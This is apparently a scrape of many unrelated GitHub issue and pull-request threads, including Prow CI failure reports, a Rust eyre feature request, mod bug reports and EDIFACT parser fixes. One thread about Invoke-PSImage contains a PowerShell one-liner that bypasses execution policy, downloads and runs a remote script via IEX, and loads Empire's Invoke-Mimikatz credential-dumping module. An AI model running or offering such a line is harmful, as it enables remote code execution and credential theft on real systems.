/test e2e-bookInfo

prow/e2e-simpleTests.sh
159a7c201427f71652cfb0d28998615c55929b03
link
/test e2e-simple

prow/e2e-mixer-no_auth.sh
e06e60bec99545e26243415e90ee428754c988cc
link
/test e2e-mixer-no_auth

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e.sh
8650eb89fd26a1fc1dc905c27f4a18603f41a203
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests.sh
8650eb89fd26a1fc1dc905c27f4a18603f41a203
link
/test e2e-bookInfo

prow/e2e-mixer-no_auth.sh
83a6338890cf03ddb48f2252a89e060c60a9aac2
link
/test e2e-mixer-no_auth

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@rkpagadala: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e.sh
8650eb89fd26a1fc1dc905c27f4a18603f41a203
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests.sh
8650eb89fd26a1fc1dc905c27f4a18603f41a203
link
/test e2e-bookInfo

prow/e2e-mixer-no_auth.sh
83a6338890cf03ddb48f2252a89e060c60a9aac2
link
/test e2e-mixer-no_auth

prow/istio-pilot-e2e-envoyv2-v1alpha3.sh
9854eca362f136a76e3a18de4c93d2a9ec29e15c
link
/test istio-pilot-e2e-envoyv2-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.


Added ability to download script from web

Using this mod you can have the script downloaded from web since it is easier for oneliners.
The parameters are now not mandatory though :(
powershell -noprofile -executionpolicy bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/dxflatline/Invoke-PSImage/master/Invoke-PSImage.ps1'); Invoke-PSImage -Image c:\temp\stc.jpg -Out C:\temp\stc-out.png -WebScript https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1

good day sir. when i build a sample file that pop up calculator. sample ps1 file. i followed your steps as explained in the readme. it build the output png successfully. but when i run it , it doesn't trigger anything


go-demo-6 to 1.0.25

Promote go-demo-6 to version 1.0.25

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approvers:
If they are not already assigned, you can assign the PR to them by writing /assign  in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


Provide implementations of From<&str> and From<String> for Report

The standard library has the implementations From<'_ &str> for Box<dyn Error> and From<String> for Box<dyn Error>. This allows for example the following, convenient code:
fn foo() -> Result<i32, Box<dyn Error>> {
    let opt: Option<i32> = None;
    opt.ok_or("The Option was None");
}

assert!(foo().is_err());

Basically I use it a lot to change Options into Results in application code. When using eyre as a drop-in replacement for Result<..., Box<dyn Error>> I have to change all of these ok_or calls and wrap the strings with an extra macro call to eyre!. This is inconvenient. Therefore this is a request to provide these implementations.
References:

Link to the implementation in the stdlib https://doc.rust-lang.org/std/boxed/struct.Box.html#impl-From<String>-1

These impls are only valid because they exist in the same crate that defines Error. If we attempt to add the same impl in eyre it will give us an error indicating potential overlap with From<E: Error> for Report indicating that &str and String could introduce Error impls in the future. This is one of the primary issues blocking moving the Error trait into core and we're currently working on fixing it by adding support for negative trait impls to the coherence engine.
Once that initiative has completed we should be able to add impl !Error for &str and impl !Error for String and then add the relevant From impls to eyre.

I am closing this issue as the points seem to be resolved as a string alone is not necessarily an error but may be any sort of thing, and as such making it an error would be errorprone


HungerOverhaul is overwriting HungerTweaker changes

I can't figure out how to make HT load after HO

What specifically is it overriding? The loading order definitely doesn't matter, but there could be issues elsewhere, and I'll need more information to track them down.

Any change that I make using HT gets overriden by HO, making HT completely unusable while HO is installed


Self closing tags not being applied

In Pug engine, the self closing tags are working as expected
for instances:
PUG
img

in HTML

but then using gulp-pug, it does this:
PUG
img

in HTML

What version of pug? I noticed that #207 is requesting a new version.

What version of pug? I noticed that #207 is requesting a new version.

@phated  both v2 and v3
v2: https://pugjs.org/api/migration-v2.html#selfclosing
v3: https://pugjs.org/language/tags.html

@phated  both v2 and v3
v2: https://pugjs.org/api/migration-v2.html#selfclosing
v3: https://pugjs.org/language/tags.html

@phated with v5 released this has been fixed . Thank you ;)

Thanks for checking!


Grass Block auto places itself

Grass Block when as a item auto places themselves
Steps to reproduce the behavior:

Silk touch a grass block.
Wait for it to auto place

Expected behavior (Required)
The grass block shouldn't auto place itself.
Versions:(check log if you don't know)

Forge Version: 1.14.4-28.1.31
MC Version: 1.14.4
Mod Version: 1.5.7
JEI Version : 1.14.4-<IP_ADDRESS>

Fixed in 1.5.8


Source Summary page

When browsing sources, each should have summary data (either in a separate page or expandable)

collab with @jsstevenson to address various changes to the way this page is handled #ReduceTheJank

pulled out of sprint for now - need to discuss with the group how we want this page to behave or potentially change, as there is already an existing implementation for v5

addressed styling issues and reworked this in #243. If additional changes are requested, they should be added to a new issue


QD-6789 Handel Qodana Cloud license with LicensePlan=="community"

Pull Request Details

Description

Related Issue

Motivation and Context

How Has This Been Tested

Types of changes

[ ] Docs change / refactoring / dependency upgrade
[ ] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

Checklist

[ ] I have read the CONTRIBUTING document.
[ ] My code follows the code style of this project.
[ ] My commit messages are styled with gitmoji
[ ] My change requires a change to the documentation.
[ ] I have updated the documentation accordingly.
[ ] I have added tests to cover my changes.
[ ] All new and existing tests passed.

@avafanasiev I fixed the base branch, please, update yours

Moved to #223 – https://github.com/JetBrains/qodana-cli/pull/223/commits/bd8f7929ff8d597e68961a127a7a34026f4d042a


Parsing text with random escape characters

Hello! I have an issue with EDIFACT parser when it reads random escape characters (which are not supposed to be there really).
Example: COM+support?@support.riv.ca:EM'
? is followed by @ which is not service/special character.
This segment throws an exception. Tech support on partner's side told me that it should be parsed like there is no ? sign at all.
Also I've read EDIFACT specification and it doesn't mention anything critical about it.
I see 2 options there:

Don't throw exception in this case and continue reading document.
Add an option to disable throwing this exception.

Hmm this seems to me as invalid transmission. But then again you can never be completely certain on this matter. I can see to some changes so that when someone uses the an aditional range of scecial characters list in the Grammar object the parser will consider them as subject to escaping. That will work in your case but it needs modifications.
Can you also send me the Control advise for this transmission if present.

I see no reason why parsing could not be continued after this character. Moreover this is already implemented, but throws an exception instead.
This particular transmission doesn't have UNA segment, thus all service characters are default.

@GVG ok this makes sense. I will put a flag on the serializer that suppresses bad excape sequense errors.
SuppressBadExcapeSequenceErrors a little long but sends the message.

@cleftheris thank you very much!

v1.9.9 is up on nuget
check this test to see usage https://github.com/indice-co/EDI.Net/blob/60000ffba23b7f46da5a560de493cee6c32335da/test/indice.Edi.Tests/EdiTextReaderTests.cs#L1004


Tests: Automate user registration forgot password testing

Resolves #189

Also heavily refactored other Playwright tests to use reusable Page classes.

@hahn-kev Please see if you're happy with the "AllowDomain" config value for CloudFlare.


The email commands don't work with pnpm, including being able to preview emails

Reproduction steps

Create a brand new project using npx create-email@latest
Run pnpm install in the root
Run pnpm run dev

It fails with this error:
matt@Matts-16-MBP react-email-starter-pnpm % pnpm run dev

><EMAIL_ADDRESS>dev /Users/matt/Desktop/email test/react-email-starter-pnpm
> email dev

 ELIFECYCLE  Command failed with exit code 1.

I think I've found the issue, which is possibly impacting non pnpm users as well.
This command is asynchronous and isn't being awaited:
https://github.com/zenorocha/react-email/blob/fc3122a2c58897a11d2da21e3673637a032ec21e/packages/react-email/source/commands/dev.ts#L114

Will be fixed by #316


Somehow entering scenes from angular does not work

Marked won't fix because the issue is in Idiotic core: https://github.com/umbc-hackafe/idiotic/issues/28.


Adding the gitkeep.sh script that writes empty ".gitkeep" files at th…

…e branch ends of empty subdirectories.
Committing the otherwise empty doc/dependency_tree/opencoarrays after applyging gitkeep.sh to it.
Signed-off-by: Damian Rouson<EMAIL_ADDRESS>

Looks good to me :+1:

So "All checks have passed" means the Travis-CI tests completed successfully, correct?  Way cool stuff! :D

Now this message is incredibly confusing:
"Pull request successfully merged and closed
You’re all set—the rouson:branch-1.0.0 branch can be safely deleted."
Why the heck does that mean?  Why would I want to delete a branch?

It's talking about the branch on your fork.... You can safely ignore it, it operates under the assumption you created a new feature branch (or hot-fix branch etc.) on your fork for the purpose of contributing the PR and that once the hot-fix is applied or the feature added (i.e., PR accepted) you will no longer need it (and just create a new one for the next contribution). I'm going to bed now but I'll try to link GitHub's take on the ideal workflow in the AM.

Phew... I'm glad I didn't delete it then.  I tried that once before and got burned, but didn't know why it would have ever recommended that I delete the branch anyway.  I think git should be treated like experimental laboratories: there should be a required safety course before anyone gets to touch anything. :O

It would only delete the branch on your fork's remote, which GitHub provides a means of undoing. In addition it will live on in your fork's local repository, and the local refs (until a prune is requested when fetching or pulling). It only refers to your fork (Rouson/opencoarrays) so it will live on as well on the sourceryinstitute/opencoarrays remote.

Oh and probably will still exist in your reflog too, at least until a lot of time&history has passed and you request git to do some garbage collection. With git you can always info your mistakes, it's just that it's nearly impossible to figure out how. :pray:


Is there a config.xml file? Because many plug-ins of cordova need to set parameters in it

Is there a config.xml file? Because many plug-ins of cordova need to set parameters in it
ionic react capacitor project
"@types/react": "^16.9.17"
"@capacitor/android": "^2.0.1"

Thanks for the issue. I am going to close this as this is more of a support request. Please see https://capacitor.ionicframework.com/docs/basics/configuring-your-app/.


Sapling trader not giving stable saplings

Describe the bug
Putting unstable saplings in a sapling trader's inventory seems to do nothing. The spirit just holds the sapling for the 30 seconds it is alive and then dies returning the unstable saplings you gave it.
Expected behavior
Pretty sure it is supposed to take the unstables and give u stable ones
System (please complete the following information):

Occultism Version: 0.2.10
Modpack Link and Version, or list of mods: JEI, patchouli and occultism

For me this works on 0.2.10. Once I put the sapling in the purple particle effect appears and after some time the sapling is converted.

Please note that each trader has only one recipe, so summoning the right one is critical.

yes i am seeing the purple particle effect indicating it is working, i just haven't seen any conversion(i am definitely summoning the sapling trader)... ill give it another shot in a bit, thanks!

yeah it doesnt seem to be working for me..
https://gyazo.com/d1dd5159bc40f42140c72ebc0bf806e1

Thank you for the re-test - I retried it a few times and managed to make it fail 2 after a few successful attempts. The issue was that I set the time to convert and the spirit maximum age to the same, so depending on tick times that last conversion time sometimes gets skipped - in my first experiment I simply got lucky.


Global settting for decimals

          the issue for the decimals is coming, still not sure how to handle it tho.

since this is coming

#7881

I would like to show the real number in the modal and as much as 3 decimals would be needed anyway
Originally posted by @exezbcz in https://github.com/kodadot/nft-gallery/issues/8136#issuecomment-1823955779
rel

https://github.com/kodadot/nft-gallery/issues/7529

much as 3 decimals would be needed anyway

why 3 ?

@yangwao after 3 decimals, the amount is negligible. In case of ksm


Add validator for new XYZ source

which validator should be added? we don't have any validator for url, only for url which contains query string.
do we need a generic url validator? is that parameter required?

The XYZ source take a single url.  This is different from WMS.  For XYZ we need to check that there is an x y and a z.  In the URL they should be {x} {y} and {z}.  Also note that any of the tree can be negative like {-x}